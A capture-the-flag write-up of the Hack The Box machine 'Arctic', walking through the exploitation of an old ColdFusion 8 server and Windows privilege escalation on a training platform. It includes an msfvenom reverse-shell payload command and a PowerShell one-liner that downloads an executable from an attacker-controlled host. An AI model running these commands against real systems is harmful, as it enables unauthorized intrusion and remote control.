Arctic is a vulnerable windows box showing the risks of running an unpatched Coldfusion server and a very out dated windows 2008 r2 server.
First step as standard is to run a nmap scan and see what ports are available to us:
There are 3 ports visible from the scan, port 135 and 49154 are standard for RPC and they are present on a lot of HTB boxes. the mystery port 8500 is unknown to nmap so lets take a look at that one first. Google tells us it’s the default port for Adobe Coldfusion.
Visiting the host on port 8500 using a browser gives us a directory to we can navigate. the letters CF at the start of the names are another clue pointing to this being a Coldfusion server.
For whatever reason this directory takes absolutely ages to load each page so to make things easier I tried loading every page I saw in a new tab and went away for 10 minutes to make a cup of tea while they loaded.
The CFIDE folder contained an administrator page which is all the confirmation we need about this being a Coldfusion host. It also tells us this is version 8.
Some more Google enumeration tells us that version 8 came out in 2007, if this is a base install then there will almost certainly be many different vulnerabilities out by now we could use to try and break into this box (nothing stays secure forever):
Searching on exploit-db by date we can see a few cross site scripting vulnerabilities but more helpfully an arbitrary file upload.
Taking a quick look at the code it seems like a small ruby script which exploits the FCKeditor upload functionality, it also has a module in Metasploit which makes things easier for us.
If you launch Msfconsole and search for “Coldfusion”, there are a few results. Looks like number 7 most closely matches what we found in exploit-db. The only difference is the date.
The exploit only requires a remote host and remote port.
Unfortunately it fails when run. Time to start trying harder!
The next step felt like I got a bit lucky. When an exploit fails to run one of the first things I check is whether the victim box is still up and running. Sometimes other users have broken it or a failed exploit causes it to crash so you need to give it a reboot before continuing. As a test I refreshed the IE page and when it came back I saw it had a new folder called “userfiles”. So the exploit hadn’t totally failed , looks likes it had managed to upload at least some files:
This new folder contains a .jsp file which is likely the exploit Metasploit had uploaded but for whatever reason had failed to run. Lets setup up a listener and see if we can run it manually. The error from Metasploit earlier showed us that we expect to reverse shell to start talking on port 4444:
Now click on the .jsp
And it works! we are on the server as a user named tolis:
The flag is in the expected location:
tolis doesn’t have admin rights so in order to get the root flag we’re going to have to start looking at what privilege escalation we have available to us. Systeminfo tells us that this is a server 2008 R2 system so unless it is patched up to the latest version we should be able to find a few things to try:
But before jumping straight into new exploits It’s always a good idea to try to improve whatever shell you managed to get as a foothold. In this instance we’re going to try and transfer this shell into the Metasploit meterpreter to take advantage of all the extra features it has over our basic shell. We can try to create a payload using msfvenom and hopefully it’ll let us upload it using the shell we currently have. We know the server is some sort of web server so it likely won’t have any problems if we use a HTTP reverse shell.
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.14.6 LPORT=4567 -f jsp -o dodgyfile.exe
Now to start the SimpleHTTPserver that comes with Kali:
And after a bit of trial and error we can download the payload to the victim server using this line:
powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.10.14.20:80/dodgyfile.exe’,’superdodgy.exe’)”
Before we run it we need to setup the listener on our Kali box to be ready to catch the incoming connection, back in msfconsole we set the payload type, the host and port to listen on (Matching what we set in msfvenom previously):
Back on the victim machine lets run the payload and see if it works:
It connects instantly and we can start enjoying our new shell:
One of the first things to try is the built in “getsystem” command within Meterpreter which tries a few quick privilege escalation methods. I don’t find that it works too often but it’s quick enough that it never hurts to try:
No luck. Another feature of the meterpreter shell is a post-exploit tool which can scan the system and suggest possible privilege escalations to try located at: /post/multi/recon/local_exploit_suggester which finds 11 possible exploits and after some quick tests suggests 4 of them are likely to work:
Starting at the top lets try ms10_092_schelevator after backgrounding our new shell
Setting our session option and running it looks promising at first but gives mixed messages about whether it has worked or not:
If we have another look at the options for this exploit it shows that the LHOST isn’t set correctly:
If we fix that to use the IP we have on the HTB network instead of on the local network the exploit works better and we get our system shell:
Root flag is in the usual location:
Urban Security Research 